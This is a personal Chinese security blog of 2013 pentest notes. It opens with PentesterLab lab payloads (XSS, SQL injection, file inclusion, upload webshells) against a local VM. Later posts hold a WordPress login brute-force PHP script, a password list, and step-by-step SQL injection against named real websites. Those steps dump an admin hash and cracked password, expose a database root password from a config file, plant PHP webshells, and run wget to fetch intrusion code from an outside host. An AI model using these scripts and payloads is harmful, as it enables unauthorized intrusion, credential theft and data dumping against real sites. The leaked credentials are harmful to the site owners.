syntax highlighter

2013年10月15日星期二

Web For Pentester 学习笔记 6 - Code injection

Code injection

// 风险代码
// 用户来决定eval执行的代码内容
eval($_GET['name']);
// http://vulnerable/codeexec/example1.php?name=";system('ls');"
// http://vulnerable/codeexec/example1.php?name=".system('uname -a'); $dummy="


$order = $_GET['order'];
// http://vulnerable/codeexec/example2.php?order=id);}system('pwd');//     这个好像不行

echo preg_replace($_GET['pattern'], $_GET['new'], $_GET['base']);
// http://vulnerable/codeexec/example3.php?new=system('uname -a')&pattern=/lamer/e&base=Hello lamer

Web For Pentester 学习笔记 5 - File Upload

http://vulnerable/upload/images/evil.php?cmd=ls -lah

// 上传一个evil.php文件,内容如下:
<?php
  system($_GET["cmd"]);
?>

// 风险代码
// 任何类型的文件都能上传
move_uploaded_file($_FILES['image']['tmp_name'], 
                   '/var/www/upload/images/', 
     basename($_FILES['image']['name']));

// 就算只过滤了php类型,也能通过.htaccess和后缀命名绕过
// 方法1: 命名为.php3 , .php4, .php5再上传,如evil.php4
// 方法2: 命名为.blah再上传,以便根据apache规则,自动换成php来解析(因为不认识.blah),如evil.blah
// 方法3: 上传.htaccess文件
// 注: 可是怎么执行呢?
if(preg_match('/\.php$/', $file)) die;

2013年10月14日星期一

Web For Pentester 学习笔记 4 - SQL injections

本来显示的只有admin的信息,这样就会把全表其他人员的信息都弄出来了
# 用空格即%20尝试
http://vulnerable/sqli/example1.php?name=admin' or '1'='1  

# 用tab即%09尝试
http://vulnerable/sqli/example2.php?name=admin'%09or%09'1'='1     

# 就算把空格和tab都过滤了,也可以用注释尝试
http://vulnerable/sqli/example3.php?name=admin'/**/or/**/'1'='1

# 当然最简单的方法是
http://vulnerable/sqli/example4.php?id=2 or 1=1;--

# 只要以数字结尾就可以了
http://vulnerable/sqli/example6.php?id=2 or 1=1#123

# 不行就试试这样
http://vulnerable/sqli/example7.php?id=2%0A or 1=1#123

# 这种也行
http://vulnerable/sqli/example8.php?order=name` %23

# 这种也行
http://vulnerable/sqli/example9.php?order=IF(0,name,age)


// 带风险的对应代码
$sql = "SELECT * FROM users WHERE name='" . $_GET["name"] . "'";
$sql = "SELECT * FROM users WHERE id=" . mysql_real_escape_string($_GET["id"]);
$sql = "SELECT * FROM users ORDER BY `" . mysql_real_escape_string($_GET["order"]) . "`";

Web For Pentester 学习笔记 3 - File include

// 让用户来决定你包含的文件,那就存在文件包含漏洞
if($_GET['page']) include($_GET['page']);

// 比如:http://vulnerable/fileincl/example1.php?page=https://pentesterlab.com/test_include.txt
// test_include.txt 的内容是: 
<?php 
phpinfo();
?>
发现是否存在文件包含漏洞的技巧, http://vulnerable/fileincl/example1.php?page=notexist.php, 报错:
Warning: include(notexist.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'notexist.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
此外,还可以进一步尝试在test_include.txt的末尾添加% 00(没有空格)来尝试

2013年10月13日星期日

Web For Pentester 学习笔记 2 - Directory traversal

例1:

// 由用户指定程序来读取服务器上的哪个文件
<img width="20" src="dirtrav/example1.php?file=hacker.png">

$path = '/var/www/files/' . $_GET['file'];
对于这种类型,就这样:
http://vulnerable/dirtrav/example1.php?file=hacker.png 返回图片
http://vulnerable/dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd 显示出来了!

例2:

// 这也太暴露了
<img width="20" src="dirtrav/example2.php?file=/var/www/files/hacker.png">
对于这种类型,就这样:
http://vulnerable/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

例3:

似乎对于写死文件后缀的情况,可以这样:
http://vulnerable/dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd % 00  # 没有空格
* 以上通过火狐add-on: chrome://restclient/content/restclient.html 测试

Web For Pentester 学习笔记 1 - XSS

下载: https://pentesterlab.com/exercises/web_for_pentester/

我在VirtualBox虚拟机上运行web for pentester, ifconfig出的ip是192.168.102.171,设置host为:
192.168.102.171 vulnerable,浏览器访问:vulnerable
// 原始地址
http://vulnerable/xss/example1.php?name=hacker

// 弹出信息框
http://vulnerable/xss/example1.php?name=<script>alert(1);</script> 

// 如果只过滤了小写,就试试大小写混合
http://vulnerable/xss/example2.php?name=<sCript>alert(1);</sCript> 

// 鼠标移动到p,弹出
http://vulnerable/xss/example4.php?name=?name=Harry<p onmouseover=alert('黄峰喜欢吴佳旻')>把这段隐藏起来</p>

// 就算把script标签屏蔽了也能XSS
http://vulnerable/xss/example4.php?name=<div onmouseover='alert(1)' /> 

// 执行远程脚本
http://vulnerable/xss/example5.php?name=<script src="http://ha.ckers.org/xss.js"></script> 
  xss.js内容:
  document.write ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);
  alert ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);

// 利用ascii码输出字符,变量被直接通过GET进行了赋值
http://vulnerable/xss/example7.php?name=Harry';alert(String.fromCharCode(65, 97))//#sthash.TxtigEng.dpuf

// 危险的表单提交路径
http://vulnerable/xss/example8.php/"><script>alert(String.fromCharCode(65, 97))</script>#sthash.XuOVOUFq.dpuf

// #号也可以
http://vulnerable/xss/example9.php#Harry<script>alert('Potter')</script>
对应的带风险的源代码:
// 完全没处理
echo $_GET["name"];

// 只过滤了小写
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;

$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;

// 只过滤了script
if(preg_match('/script/i', $_GET["name"])){
  die('error');
}

// 把变量赋值放到页面输出的JS里了
<script>
  var $a = "<?php echo $_GET["name"];?>";
</script>

// 就算用了实体,依然可以利用String.fromCharCode来XSS
<script>
  var $a = "<?php echo htmlentities($_GET["name"]);?>";
</script>

// 表单提交如果用PHP_SELF为路径而没做处理,那么存在XSS
略

// 这种会让#号也可以XSS
document.write(location.hash.substring(1));

2013年10月11日星期五

虚拟机访问Web for pentester的网络设置

乌云QQ群的一个人的帮助下,解决了

本机win8 ipconfig:

C:\Users\phx>ipconfig

Windows IP Configuration


Wireless LAN adapter Local Area Connection* 16:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Wireless LAN adapter Wi-Fi:

   Connection-specific DNS Suffix  . : lan
   Link-local IPv6 Address . . . . . : fe80::f5aa:2f79:8e05:7c3%15
   IPv4 Address. . . . . . . . . . . : 192.168.199.235
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.199.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter VirtualBox Host-Only Network:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::18e5:506d:b0be:d7c2%23
   IPv4 Address. . . . . . . . . . . : 192.168.56.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{F7FD0539-F470-41FA-89CB-5AF453616BAE}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.lan:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : lan

Tunnel adapter 6TO4 Adapter:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :


Virtual Box 全局设置:

Virtual Box 网络设置:(之前失败是因为没有在这里设置正确)
此时,启动虚拟机,ifconfig:

访问: 192.168.56.101:


2013年10月7日星期一

Burp Suite安装和使用入门

下载: Burp Suite (free version)

 http://portswigger.net/burp/help/suite_gettingstarted.html

java -version
java -jar -Xmx1024m c:\mine\burpsuite_free_v1.5.jar


2013年9月21日星期六

500个最糟糕的密码

转载自: http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time

123456
password
12345678
1234
pussy
12345
dragon
qwerty
696969
mustang
letmein
baseball
master
michael
football
shadow
monkey
abc123
pass
fuckme
6969
jordan
harley
ranger
iwantu
jennifer
hunter
fuck
2000
test
batman
trustno1
thomas
tigger
robert
access
love
buster
1234567
soccer
hockey
killer
george
sexy
andrew
charlie
superman
asshole
fuckyou
dallas
jessica
panties
pepper
1111
austin
william
daniel
golfer
summer
heather
hammer
yankees
joshua
maggie
biteme
enter
ashley
thunder
cowboy
silver
richard
fucker
orange
merlin
michelle
corvette
bigdog
cheese
matthew
121212
patrick
martin
freedom
ginger
blowjob
nicole
sparky
yellow
camaro
secret
dick
falcon
taylor
111111
131313
123123
bitch
hello
scooter
please
porsche
guitar
chelsea
black
diamond
nascar
jackson
cameron
654321
computer
amanda
wizard
xxxxxxxx
money
phoenix
mickey
bailey
knight
iceman
tigers
purple
andrea
horny
dakota
aaaaaa
player
sunshine
morgan
starwars
boomer
cowboys
edward
charles
girls
booboo
coffee
xxxxxx
bulldog
ncc1701
rabbit
peanut
john
johnny
gandalf
spanky
winter
brandy
compaq
carlos
tennis
james
mike
brandon
fender
anthony
blowme
ferrari
cookie
chicken
maverick
chicago
joseph
diablo
sexsex
hardcore
666666
willie
welcome
chris
panther
yamaha
justin
banana
driver
marine
angels
fishing
david
maddog
hooters
wilson
butthead
dennis
fucking
captain
bigdick
chester
smokey
xavier
steven
viking
snoopy
blue
eagles
winner
samantha
house
miller
flower
jack
firebird
butter
united
turtle
steelers
tiffany
zxcvbn
tomcat
golf
bond007
bear
tiger
doctor
gateway
gators
angel
junior
thx1138
porno
badboy
debbie
spider
melissa
booger
1212
flyers
fish
porn
matrix
teens
scooby
jason
walter
cumshot
boston
braves
yankee
lover
barney
victor
tucker
princess
mercedes
5150
doggie
zzzzzz
gunner
horney
bubba
2112
fred
johnson
xxxxx
tits
member
boobs
donald
bigdaddy
bronco
penis
voyager
rangers
birdie
trouble
white
topgun
bigtits
bitches
green
super
qazwsx
magic
lakers
rachel
slayer
scott
2222
asdf
video
london
7777
marlboro
srinivas
internet
action
carter
jasper
monster
teresa
jeremy
11111111
bill
crystal
peter
pussies
cock
beer
rocket
theman
oliver
prince
beach
amateur
7777777
muffin
redsox
star
testing
shannon
murphy
frank
hannah
dave
eagle1
11111
mother
nathan
raiders
steve
forever
angela
viper
ou812
jake
lovers
suckit
gregory
buddy
whatever
young
nicholas
lucky
helpme
jackie
monica
midnight
college
baby
cunt
brian
mark
startrek
sierra
leather
232323
4444
beavis
bigcock
happy
sophie
ladies
naughty
giants
booty
blonde
fucked
golden
0
fire
sandra
pookie
packers
einstein
dolphins
0
chevy
winston
warrior
sammy
slut
8675309
zxcvbnm
nipples
power
victoria
asdfgh
vagina
toyota
travis
hotdog
paris
rock
xxxx
extreme
redskins
erotic
dirty
ford
freddy
arsenal
access14
wolf
nipple
iloveyou
alex
florida
eric
legend
movie
success
rosebud
jaguar
great
cool
cooper
1313
scorpio
mountain
madison
987654
brazil
lauren
japan
naked
squirt
stars
apple
alexis
aaaa
bonnie
peaches
jasmine
kevin
matt
qwertyui
danielle
beaver
4321
4128
runner
swimming
dolphin
gordon
casper
stupid
shit
saturn
gemini
apples
august
3333
canada
blazer
cumming
hunting
kitty
rainbow
112233
arthur
cream
calvin
shaved
surfer
samson
kelly
paul
mine
king
racing
5555
eagle
hentai
newyork
little
redwings
smith
sticky
cocacola
animal
broncos
private
skippy
marvin
blondes
enjoy
girl
apollo
parker
qwert
time
sydney
women
voodoo
magnum
juice
abgrtyu
777777
dreams
maxwell
music
rush2112
russia
scorpion
rebecca
tester
mistress
phantom
billy
6666
albert

跑wordpress用户密码脚本

转载自: http://drops.wooyun.org/tools/601 (2013/09/17)

测试成功!

在做渗透测试的时候,有时候会遇到一个wordpress博客,如果版本比较新,插件也没有漏洞的话,可以爆破用户名密码来尝试下。

大脑混沌情况下写的,有bug欢迎提出,由于是php的所以跑起来比较慢,下次发包还是调用命令结合hydra来爆破。

原理是通过URL /?author= 遍历获取用户名,然后先跑用户名与密码相同的用户,再调用同目录下pass.txt中的密码文件进行爆破。

默认获取前10个用户,可自行修改。

使用方法:
php wordpress.php http://www.test.com
 
set_time_limit(0);
$domain = $argv[1];
 
//获取用户名
for ($i=1; $i <= 10; $i++) {
 
    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "{<title>(.*) \|}";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}
 
echo "共获取用户".count($namearray)."名用户\n";
 
echo "正在破解用户名与密码相同的用户:\n";
 
$crackname = crackpassword($namearray,"same");
 
$passwords = file("pass.txt");
 
echo "正在破解弱口令用户:\n";
 
if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}
 
crackpassword($namearray,$passwords);
 
function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}
 
 
function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 
    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
 
    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);
 
 
    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}

2013年9月2日星期一

web实战渗透+提权+脱裤教程 笔记

整理自: http://www.hackdig.com/?08/hack-5544.htm

网站的操作系统、web服务器等信息获取: http://browserspy.dk/webserver.php

让IE爆出详细错误信息:








设置前:
设置后:





TTL:

Linux系统的TTL值为64或255,Windows NT/2000/XP系统的TTL值为128,Windows 98系统的TTL值为32,UNIX主机的TTL值为255。(http://baike.baidu.com/view/2696.htm#2)

寻找注入点

注入方法: 添加单引号,或者 and 1=1, 1=2

这个错误表示不能注入:
http://www.chhuaxu.com/product.asp?cataid=319'
Microsoft VBScript runtime 错误 '800a000d'  Type mismatch: 'cint'  /product.asp,行 60 

这个错误表示可以注入:
http://www.chhuaxu.com/product_show.asp?id=5106'
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'  [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id=5106'' 中。  /product_show.asp,行 52

http://www.chhuaxu.com/product_show.asp?id=5106%20and%20exists%20%28select%20[pwd]%20from%20[admin]%29

Havij

扫描漏洞注入点、登录地址、数据表、字段等。 其他工具还有啊D和明小子等(只针对asp网站的国产软件)。

利用 Google 搜索注入点:(可切换到中文结果)

inurl:admin
intext:管理员登陆
intitle:管理员登录
site:test.com

寻找网站的后台

猜测扫描、inurl:robots.txt、google搜索

SQL注入一个网站的例子

发现地址可注入:
http://www.changli.gov.cn/depart/gtj/detail.php?id=463'

发现一共有11个字段,显示5,6,7,8
http://www.changli.gov.cn/depart/gtj/detail.php?id=463+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11

查数据库信息:
version():5.1.54-community
database():changli
user():changli@localhost

查出数据表名称:
http://www.changli.gov.cn/depart/gtj/detail.php?id=463+and+1=2+union+select+1,2,3,4,5,6,7,concat(group_concat(distinct+table_name)),9,10,11+from+information_schema.tables+where+table_schema=0x6368616E676C69
得到 cx_admin,cx_admin_nav,cx_admin_nav0908beifen, 等等

查出字段的名称:
http://www.changli.gov.cn/depart/gtj/detail.php?id=463+and+1=2+union+select+1,2,3,4,5,6,7,concat(group_concat(distinct+column_name)),9,10,11+from+information_schema.columns+where+table_name=0x63785F61646D696E
得到 id,admin_name,admin_pw

然后再查密码

手工注入的一般步骤

猜测表名: and exists (select * from admin) 没有错误回显就表示猜对了
猜测字段: and exists (select username from admin)
获得字段数: order by 10
联表爆出密码: union select

比如:
?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin 假如显示5,6 ,说明5,6是显示位
?id=1 and 1=2 union select 1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 from admin

这样就爆出了用户名和密码

无法链表的时候用这种方法:
?id=1 and (select top 1 len(admin_name) from Admin) > 0 判断字段长度是否大于0,把0替换成其他数字一个个试
and (select top 1 asc(mid(username,N,1)) from Admin) > 0 截取字段里的第N个字符,然后获取其ascii值
比如:
http://fc1885.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from Admin) > 90
页面正常,说明该截取的字符的ascii码大于90,一个个试,最后得出为97,也就是“a”
接着试第二个字符:
http://fc1885.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from Admin) > 90
一个个试,最后得出为100,即“d”,依此类推

更高级的手工注入

http://www.hkct.edu.hk/news_detail.php?id=164 order by 11 有
http://www.hkct.edu.hk/news_detail.php?id=164 order by 12 没
说明一共11个字段

查显示位
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11
得到4,5,7

查数据库信息
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,version(),database(),6,7,8,9,10,11

进一步获取数据库信息(数据库名字的hex值可用小葵多功能转换工具得到,此处如:0x726576616D70)
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex值 order by table_schema limit 0,1)t limit 1--

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10,11 from (select * from information_schema.tables where table_schema=0x726576616D70 order by table_schema limit 0,1)t limit 1--
得到第一张表名: SeminarNode_seq

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10,11 from (select * from information_schema.tables where table_schema=0x726576616D70 order by table_schema limit 1,2)t limit 1--
得到第二张表名: LinkAdvNode

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10,11 from (select * from information_schema.tables where table_schema=0x726576616D70 order by table_schema limit 2,3)t limit 1--
得到第三张表名: AlbumNode

一直查一直查,直到:

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10,11 from (select * from information_schema.tables where table_schema=0x726576616D70 order by table_schema limit 35,36)t limit 1--

到此为止,基本上得到了这么多表: News,AlbumNode_seq,SeminarNode_seq,LinkAdv,PrinBlogReply,HtmlPageNode_seq,Press,CourseTypeNode,NewsNode_seq,Banner,SeminarReg,LinkAdvNode,Register,Icons,PressNode,CourseTypeNode_seq,PageViews,Course,LinkAdvNode_seq,Album,Seminar,IconsNode,PressNode_seq,HtmlPage,PageViewsType,CourseNode,News,AlbumNode,SeminarNode,IconsNode_seq,PrinBlog,HtmlPageNode, Password,CourseNode_seq

然后根据Password表的hex值(0x50617373776F7264),查字段名称:
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10,11 from (select * from information_schema.columns where table_name=0x50617373776F7264 and table_schema=0x726576616D70 order by 1 limit 0,1)t limit 1--
得到第一个字段: id

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10,11 from (select * from information_schema.columns where table_name=0x50617373776F7264 and table_schema=0x726576616D70 order by 1 limit 1,2)t limit 1--
得到第二个字段: loginName

http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10,11 from (select * from information_schema.columns where table_name=0x50617373776F7264 and table_schema=0x726576616D70 order by 1 limit 2,3)t limit 1--
得到第三个字段: password

一直查一直查,直到全部查出有这么多字段: id,loginName,password,level,level_id,type_id,lastLogin,createDate,lastModDate

查一查id的concat值:
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,concat(id),5,6,7,8,9,10,11 from Password
返回: 41

爆密码:
http://www.hkct.edu.hk/news_detail.php?id=164 and 1=2 union select 1,2,3,concat(loginName),5,6,concat(password),8,9,10,11 from Password
svtadmin    
06a1c9549f34dd7132a7f0380282e085 (即hmt009)

loal_file()函数

google: intext:warning mysql_fetch_array /var/www/
找到:http://www.jawacz.com.ar/ficha_imprimir.php?id= 报错: /var/www/docs/jawacz.com.ar/htdocs/ficha_imprimir.php on line 52

开始: http://www.jawacz.com.ar/ficha_imprimir.php?id=1 order by 35 开始出错,说明一共有34个字段

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: 3

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: uv1828@localhost

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: jawa_nuevo

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: 5.1.63

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: 5.1.63

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,@@basedir,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: /   【安装路径】

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
回显: /var/lib/mysql/  【数据路径】

http://www.jawacz.com.ar/ficha_imprimir.php?id=1 and 1=2 union select 1,2,load_file(地址的16进制),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34
/var/www/docs/jawacz.com.ar/htdocs/ficha_imprimir.php 的16进制为(?): 2f7661722f7777772f646f63732f6a617761637a2e636f6d2e61722f6874646f63732f66696368615f696d7072696d69722e706870
应该回显该文件的内容的,但这里却失败了。

如果这里成功了,那么假如这个ficha_imprimir.php文件include了数据库连接文件,那么再把该文件的16进制放进去读,输出文件内容,就得到了数据库连接用户密码!

如果远程连接数据库失败,那么尝试phpmyadmin,如果登录数据库成功,可以在里面新建一个数据库,建一个表如:testtable,字段名:cmd
插入: insert into testtable(cmd) values('<?php system($_REQUEST[cmd]);?>')
再将其内容输出为文件: select * from testtable into outfile '/var/www/docs/jawacz.com.ar/htdocs/cmd.php'

访问这个cmd.php执行linux系统命令 :
http://www.jawacz.com.ar/cmd.php?cmd=ls
http://www.jawacz.com.ar/cmd.php?cmd=wget http://www.linux0day.cn/2008.txt  下载入侵代码( 内容即:https://gist.github.com/phoenixg/6475443 )
http://www.jawacz.com.ar/cmd.php?cmd=mv 2008.txt test.php
然后访问该test.php,OK!

如果magic quotes gpc是关闭的话:

那么不用转成16进制,直接load_file('/var/www/target.php')来输出该文件的内容
接着:
... union select 1,2,'<?php eval($_POST[cmd]);?>' into outfile '/var/www/hack.php' 虽然返回错误,但是可以访问这个文件,试试有没有,hack.php就是后门地址。

再利用lanker一句话后门客户端进行数据的访问,代码见: https://gist.github.com/phoenixg/6475631

PHP MySQL注入实战 1

http://www.eduid.com/newsinfo.php?id=589' 空白,表示有错误,但没有显示
http://www.eduid.com/newsinfo.php?id=589 order by 1 如果没什么问题,表示可以用order by 来检测字段数
http://www.eduid.com/newsinfo.php?id=589 order by 14 检测出一共有14个字段
http://www.eduid.com/newsinfo.php?id=589 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 显示2,8 , 1=2即让它出错
http://www.eduid.com/newsinfo.php?id=-589 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 显示2,8 , 跟上面一样都可以用,id=-589即让它出错
注: 可将空格替换为+号,因为否则的话会被浏览器转成%20,不利于阅读,mysql中,空格还可以用/**/来代替,如:
http://www.eduid.com/newsinfo.php?id=-589/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14

获取数据库信息:
http://www.eduid.com/newsinfo.php?id=-589+union+select+1,user(),3,4,5,6,7,version(),9,10,11,12,13,14
回显: root@localhost , 5.1.41
http://www.eduid.com/newsinfo.php?id=-589+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,14
回显:four_bzh

尝试读下配置:(猜测的路径)
http://www.eduid.com/newsinfo.php?id=-589 union select 1,load_file('/srv/www/htdocs/newsinfo.php'),3,4,5,6,7,8,9,10,11,12,13,14
回显错误: Warning :  mysql_fetch_array() expects parameter 1 to be resource, boolean given in  E:\xampp\htdocs\edu\newsinfo.php on line 5
找到了实际路径: E:\xampp\htdocs\edu\newsinfo.php

尝试用正确的路径读配置:(把实际路径用小葵多功能转换器转成HEX值放进去查)
http://www.eduid.com/newsinfo.php?id=-589 union select 1,load_file('E:/xampp/htdocs/edu/newsinfo.php'),3,4,5,6,7,8,9,10,11,12,13,14
http://www.eduid.com/newsinfo.php?id=-589 union select 1,load_file(0x453A2F78616D70702F6874646F63732F6564752F6E657773696E666F2E706870),3,4,5,6,7,8,9,10,11,12,13,14

查看页面的源代码,找到:
<? require('require/config.inc.php');
$id=$_GET[id];
$sql_news="select * from s_news where n_id=$id";
$result_news=mysql_query($sql_news);
$data_news=mysql_fetch_array($result_news);
$class=$data_news[n_class];
$small_class=$data_news[n_small_class];
$nc_id=$data_news[n_class];
?>

现在可以尝试输出文件:(把<?php eval($_POST[cmd]);?>用小葵多功能转换器转成HEX值放进去查)
http://www.eduid.com/newsinfo.php?id=-589+union+select+1,'<?php eval($_POST[cmd]);?>',3,4,5,6,7,8,9,10,11,12,13,14+into+outfile+'E:\xampp\htdocs\edu\hack.php'
http://www.eduid.com/newsinfo.php?id=-589+union+select+1,0x3C3F706870206576616C28245F504F53545B636D645D293B3F3E,3,4,5,6,7,8,9,10,11,12,13,14+into+outfile+\'E:\xampp\htdocs\edu\hack.php\'
两个都出错,说明服务器开启了magic_quotes_gpc(),所以没法into outfile了!

于是,看看配置文件: require/config.inc.php 的内容:(把E:/xampp/htdocs/edu/require/config.inc.php用小葵多功能转换器转成HEX值放进去查)
http://www.eduid.com/newsinfo.php?id=-589+union+select+1,2,3,4,5,6,7,load_file(0x453A2F78616D70702F6874646F63732F6564752F726571756972652F636F6E6669672E696E632E706870),9,10,11,12,13,14
查看网页源代码,得到该文件的内容:
<?
    //配置文件 基本变量设置
    //新新世纪PHP开发1.0版
 
    $mysql_server_name="localhost";
    $mysql_username="root";
    $mysql_password="weilifei";
    $mysql_database="four_bzh";
    //------
 
    $title="中国国际设计艺术博览会";//网站标题名称
    //--------
require('function.php');
    date_default_timezone_set(PRC);//更改格林威治标准时间
    @$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password) or die("<font color=#ff0000>连接mysql数据库出错或者数据库没启动!</font>");//开启服务器建立连接
    mysql_query("set names 'gbk'");//这是解决乱码的关键,LINUX下改为UTF8

  mysql_select_db($mysql_database,$conn);
  $sql="select * from s_config";
  $result=mysql_query($sql);
  $data=@mysql_fetch_array($result);
?>

然后用mysql客户端连接,成功就表示支持外部连接,不成功的话,就试试猜测phpmyadmin的地址来登录。
用:114.112.55.10(www.eduid.com的IP)和上面的用户名、密码登录,不成功!尝试phpmyadmin,也不成功!

然后用Havij 1.15 探测,把 http://www.eduid.com/newsinfo.php?id=-589 放进去爆表,全爆出来了!
用爆出来的用户、密码登录用Havij探测出来的后台地址: http://www.eduid.com/admin/login.php 成功!!!

最后可以用mysql建表建字段数出到文件的方式注入webshell。

PHP MySQL注入实战 2

http://www.ahthedu.cn/include/web_content.php?id=589

Havij 探测信息:
Host IP: 60.171.162.18
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Powered-by: PHP/5.2.8
DB Server: MySQL
Selected Column Count is 22
Length of 'Current DB' is 6
Current DB: web_db

或手工探测字段数: 共22个字段
http://www.ahthedu.cn/include/web_content.php?id=589 order by 23

http://www.ahthedu.cn/include/web_content.php?id=589 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  跳到IIS 404页面
http://www.ahthedu.cn/include/web_content.php?id=-589 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 跳到IIS 404页面
